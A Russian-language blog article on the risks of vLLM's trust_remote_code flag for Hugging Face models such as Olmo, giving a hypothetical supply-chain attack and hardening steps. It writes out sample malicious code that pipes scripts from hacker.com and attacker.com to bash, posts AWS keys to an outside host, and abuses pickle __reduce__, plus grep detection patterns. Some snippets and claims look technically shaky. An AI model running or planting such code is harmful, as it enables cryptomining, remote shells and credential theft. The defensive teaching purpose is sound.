Trust_remote_code в vLLM: как один флаг превращает вашу GPU в майнер для хакеров

Самый опасный флаг в вашем vLLM: trust_remote_code=True

Вы запускаете модель с Hugging Face через vLLM, получаете ошибку, гуглите решение. Первый результат говорит: "Добавьте trust_remote_code=True". Вы добавляете — работает! Поздравляю, вы только что отдали хакерам ключи от своего сервера.

Что на самом деле делает trust_remote_code?

Когда vLLM загружает модель с Hugging Face, ему нужно понять её архитектуру. Обычно всё описано в конфигурационных файлах — безопасно, предсказуемо. Но некоторые модели (особенно экспериментальные вроде Olmo или Bolmo) используют кастомные слои, активации, архитектурные хитрости.

Эти модели хранят код своей архитектуры прямо в репозитории. И когда вы ставите trust_remote_code=True, vLLM говорит: "Окей, я скачаю этот Python-код с интернета и выполню его на своей машине".

# Вот что происходит внутри vLLM
from transformers import AutoConfig

# БЕЗ trust_remote_code — безопасно
config = AutoConfig.from_pretrained("allenai/olmo-7b")
# С trust_remote_code — русская рулетка
config = AutoConfig.from_pretrained(
    "allenai/olmo-7b",
    trust_remote_code=True  # ⚠️ ОПАСНО!
)

Кажется безобидным? Давайте представим, что вместо архитектуры модели в репозитории лежит этот код:

# Модель выглядит нормально...
class CustomAttention(nn.Module):
    def __init__(self, dim):
        super().__init__()
        self.dim = dim
        
    def forward(self, x):
        return x

# А где-то в импортах...
import os
import subprocess

# Скачиваем и запускаем майнер
subprocess.run(["curl", "https://hacker.com/miner.sh", "|", "bash"], 
               shell=True, check=False)

# Или крадём ключи AWS
aws_keys = os.environ.get('AWS_ACCESS_KEY_ID')
if aws_keys:
    requests.post("https://hacker.com/steal", data={"keys": aws_keys})

Это не теория. В 2024 году исследователи из Robust Intelligence нашли аналогичную уязвимость в llama.cpp. Разница только в деталях реализации.

Почему Olmo и Bolmo требуют trust_remote_code?

AllenAI создали Olmo (Open Language Model) как полностью открытый проект — код, данные, обучающие скрипты. Их философия: "Если модель использует кастомные компоненты, код этих компонентов должен быть публичным".

Проблема в том, что на 29.01.2026 последние версии Olmo (включая Olmo-2 13B и экспериментальный Bolmo) используют:

• Кастомные нормализации слоёв
• Экспериментальные механизмы внимания
• Специфичные инициализации весов
• Архитектурные модификации, которых нет в стандартном transformers

Без trust_remote_code vLLM не может загрузить модель — он просто не понимает, как её собрать. Ошибка выглядит так:

RuntimeError: Error(s) in loading state dict for LlamaForCausalLM:
Missing key(s) in state_dict: "model.layers.0.input_layernorm.weight"
Unexpected key(s) in state_dict: "model.layers.0.custom_norm.weight"

И тут разработчик стоит перед выбором: потратить неделю на изучение кода модели и написание кастомного загрузчика... или добавить trust_remote_code=True и пойти пить кофе.

Практический разбор: как хакер может использовать эту дыру

Представьте корпоративную среду. Компания развернула внутренний LLM-сервис на vLLM для генерации кода. Разработчики могут загружать свои дообученные модели.

1 Этап подготовки атаки

Хакер создаёт репозиторий на Hugging Face с "моделью". В конфиге указывает custom_architecture.py, который выглядит как нормальный код модели. Но в одном из импортов:

# custom_attention.py
import sys
import base64
import pickle

# Вроде бы нормальный код внимания
class MaliciousAttention:
    def __init__(self):
        self.is_malicious = True
    
    # А это бэкдор
    def __reduce__(self):
        import os
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))

2 Социальная инженерия

Хакер пишет коллеге: "Привет, я дообучил модель для нашего проекта, можешь загрузить её на наш сервер? Вот ссылка: huggingface.co/hacker/malicious-model".

Или ещё хуже — делает форк популярной модели (той же Olmo), добавляет малварь, и предлагает "исправленную версию с лучшей производительностью".

3 Выполнение произвольного кода

Разработчик запускает:

from vllm import LLM

llm = LLM(
    model="hacker/malicious-model",
    trust_remote_code=True,  # Роковая ошибка
    tensor_parallel_size=2
)

В этот момент выполняется код из репозитория. Что он делает? Вариантов масса:

• Устанавливает persistence-бэкдор в cron
• Крадёт SSH-ключи с сервера
• Подключается к внутренней сети (если сервер за firewall)
• Начинает майнить крипту на ваших дорогих GPU

Самое страшное: если ваш vLLM работает с правами root (а многие так и делают для упрощения), атака получает полный контроль над сервером.

Как безопасно работать с моделями, требующими trust_remote_code

Полный отказ от таких моделей — не вариант. Особенно если вам нужны новейшие архитектуры вроде современных LLM с Tool Calling. Вот рабочий протокол безопасности:

1 Изоляция и анализ

Никогда не запускайте неизвестную модель на основном сервере. Используйте песочницу:

# Создаём изолированное окружение
docker run --rm -it --gpus all \
  --network none \  # Без сети!
  --read-only \     # Только для чтения
  -v /tmp/model:/model \
  python:3.11 bash

Скачайте модель и проверьте ВЕСЬ код вручную:

# Качаем без выполнения
git clone https://huggingface.co/allenai/olmo-7b

# Смотрим, какие .py файлы будут выполняться
find olmo-7b -name "*.py" | xargs cat | less

2 Статический анализ кода

Ищите опасные паттерны:

# Поиск опасных импортов
grep -r "import os\|import subprocess\|import sys\|eval(\|exec(" olmo-7b/

# Поиск сетевых вызовов
grep -r "requests\|urllib\|socket\|http" olmo-7b/

# Поиск работы с файловой системой
grep -r "open(\|write(\|remove(\|shutil" olmo-7b/

Для автоматизации используйте Vigil или другие инструменты безопасности LLM.

3 Локальное зеркалирование

После проверки создайте локальную безопасную копию:

# config.json изменяем:
{
  "architectures": ["OlmoForCausalLM"],
  "auto_map": {
    "AutoConfig": "config.OlmoConfig",
    "AutoModelForCausalLM": "modeling_olmo.OlmoForCausalLM"
  },
  # Меняем на локальные пути
  "custom_architecture": "./local_model_code.py"
}

Теперь можно использовать модель БЕЗ trust_remote_code, указав локальный путь.

4 Мониторинг и ограничение прав

Запускайте vLLM с минимальными правами:

# Создаём отдельного пользователя
sudo useradd -r -s /bin/false vllm-user

# Запускаем от его имени
sudo -u vllm-user \
  python -m vllm.entrypoints.api_server \
  --model ./verified-model \
  --port 8000 \
  --max-model-len 4096

Используйте AppArmor или SELinux для ограничения доступа к сети и файловой системе.

Альтернативы trust_remote_code в 2026 году

Хорошие новости: сообщество осознало проблему. На 29.01.2026 появились альтернативы:

Для корпоративных проектов рекомендую подход "локальный ИИ за бетонной стеной" — полная изоляция от внешних источников.

Частые ошибки и как их избежать

Будущее trust_remote_code: будет ли исправлено?

На момент 29.01.2026 в vLLM и transformers нет полноценной замены trust_remote_code для сложных архитектур. Разработчики обсуждают:

• Подписывание кода моделей (аналогично Docker Content Trust)
• Sandboxed execution с белыми списками операций
• Верифицированные билды моделей с хэшами
• Интеграцию с автоматическим код-ревью через LLM для проверки безопасности

Но пока эти решения не реализованы, каждый раз, когда вы видите trust_remote_code=True, представляйте себе красную кнопку с надписью "Взорвать сервер".

Особенно осторожным нужно быть при работе с моделями для генерации кода — они часто требуют кастомных архитектур для лучшей производительности, как в случае локальных LLM для программирования.

P.S. Если вы всё-таки решили использовать trust_remote_code, хотя бы запускайте модели через изолированные инструменты вроде Claude Code или аналогичные песочницы. Ваши GPU скажут спасибо.